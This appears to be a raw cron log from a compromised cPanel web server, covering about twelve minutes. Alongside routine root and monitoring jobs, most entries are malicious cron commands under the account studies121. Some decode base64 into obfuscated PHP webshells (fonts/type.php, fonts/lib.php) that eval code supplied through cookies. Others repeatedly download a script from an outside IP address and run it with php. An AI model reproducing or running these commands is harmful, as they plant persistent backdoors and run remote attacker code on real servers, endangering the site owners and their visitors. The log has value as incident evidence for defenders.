Sep 13 03:16:01 ip-184-168-122-23 CROND[5298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:17:01 ip-184-168-122-23 CROND[5387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:17:01 ip-184-168-122-23 CROND[5389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:17:01 ip-184-168-122-23 CROND[5386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:17:01 ip-184-168-122-23 CROND[5388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:18:01 ip-184-168-122-23 CROND[5469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:18:01 ip-184-168-122-23 CROND[5470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:18:01 ip-184-168-122-23 CROND[5471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:18:01 ip-184-168-122-23 CROND[5473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:18:01 ip-184-168-122-23 CROND[5472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:19:02 ip-184-168-122-23 CROND[5642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:19:02 ip-184-168-122-23 CROND[5646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:19:02 ip-184-168-122-23 CROND[5645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:19:02 ip-184-168-122-23 CROND[5647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:20:02 ip-184-168-122-23 CROND[5733]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 03:20:02 ip-184-168-122-23 CROND[5737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:20:02 ip-184-168-122-23 CROND[5738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:20:02 ip-184-168-122-23 CROND[5744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:20:02 ip-184-168-122-23 CROND[5747]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:20:02 ip-184-168-122-23 CROND[5750]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 03:20:02 ip-184-168-122-23 CROND[5752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:20:02 ip-184-168-122-23 CROND[5753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:20:02 ip-184-168-122-23 CROND[5754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:21:01 ip-184-168-122-23 CROND[5856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:21:01 ip-184-168-122-23 CROND[5858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:21:01 ip-184-168-122-23 CROND[5857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:21:01 ip-184-168-122-23 CROND[5859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:22:01 ip-184-168-122-23 CROND[6211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:22:01 ip-184-168-122-23 CROND[6213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:22:01 ip-184-168-122-23 CROND[6215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:22:01 ip-184-168-122-23 CROND[6216]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:22:01 ip-184-168-122-23 CROND[6217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:23:01 ip-184-168-122-23 CROND[6306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:23:01 ip-184-168-122-23 CROND[6310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:23:01 ip-184-168-122-23 CROND[6308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:23:01 ip-184-168-122-23 CROND[6309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:24:01 ip-184-168-122-23 CROND[6469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:24:01 ip-184-168-122-23 CROND[6471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:24:01 ip-184-168-122-23 CROND[6472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:24:01 ip-184-168-122-23 CROND[6473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:24:01 ip-184-168-122-23 CROND[6474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:25:01 ip-184-168-122-23 CROND[6561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:25:01 ip-184-168-122-23 CROND[6563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:25:01 ip-184-168-122-23 CROND[6564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:25:01 ip-184-168-122-23 CROND[6565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:25:01 ip-184-168-122-23 CROND[6566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:25:01 ip-184-168-122-23 CROND[6567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:26:01 ip-184-168-122-23 CROND[6656]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:26:01 ip-184-168-122-23 CROND[6658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:26:01 ip-184-168-122-23 CROND[6659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:26:01 ip-184-168-122-23 CROND[6660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:26:01 ip-184-168-122-23 CROND[6661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:27:01 ip-184-168-122-23 CROND[6746]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep 13 03:27:01 ip-184-168-122-23 CROND[6748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:27:01 ip-184-168-122-23 CROND[6749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:27:01 ip-184-168-122-23 CROND[6750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:27:01 ip-184-168-122-23 CROND[6751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:28:01 ip-184-168-122-23 CROND[6833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:28:01 ip-184-168-122-23 CROND[6834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:28:01 ip-184-168-122-23 CROND[6836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:28:01 ip-184-168-122-23 CROND[6835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:28:01 ip-184-168-122-23 CROND[6837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
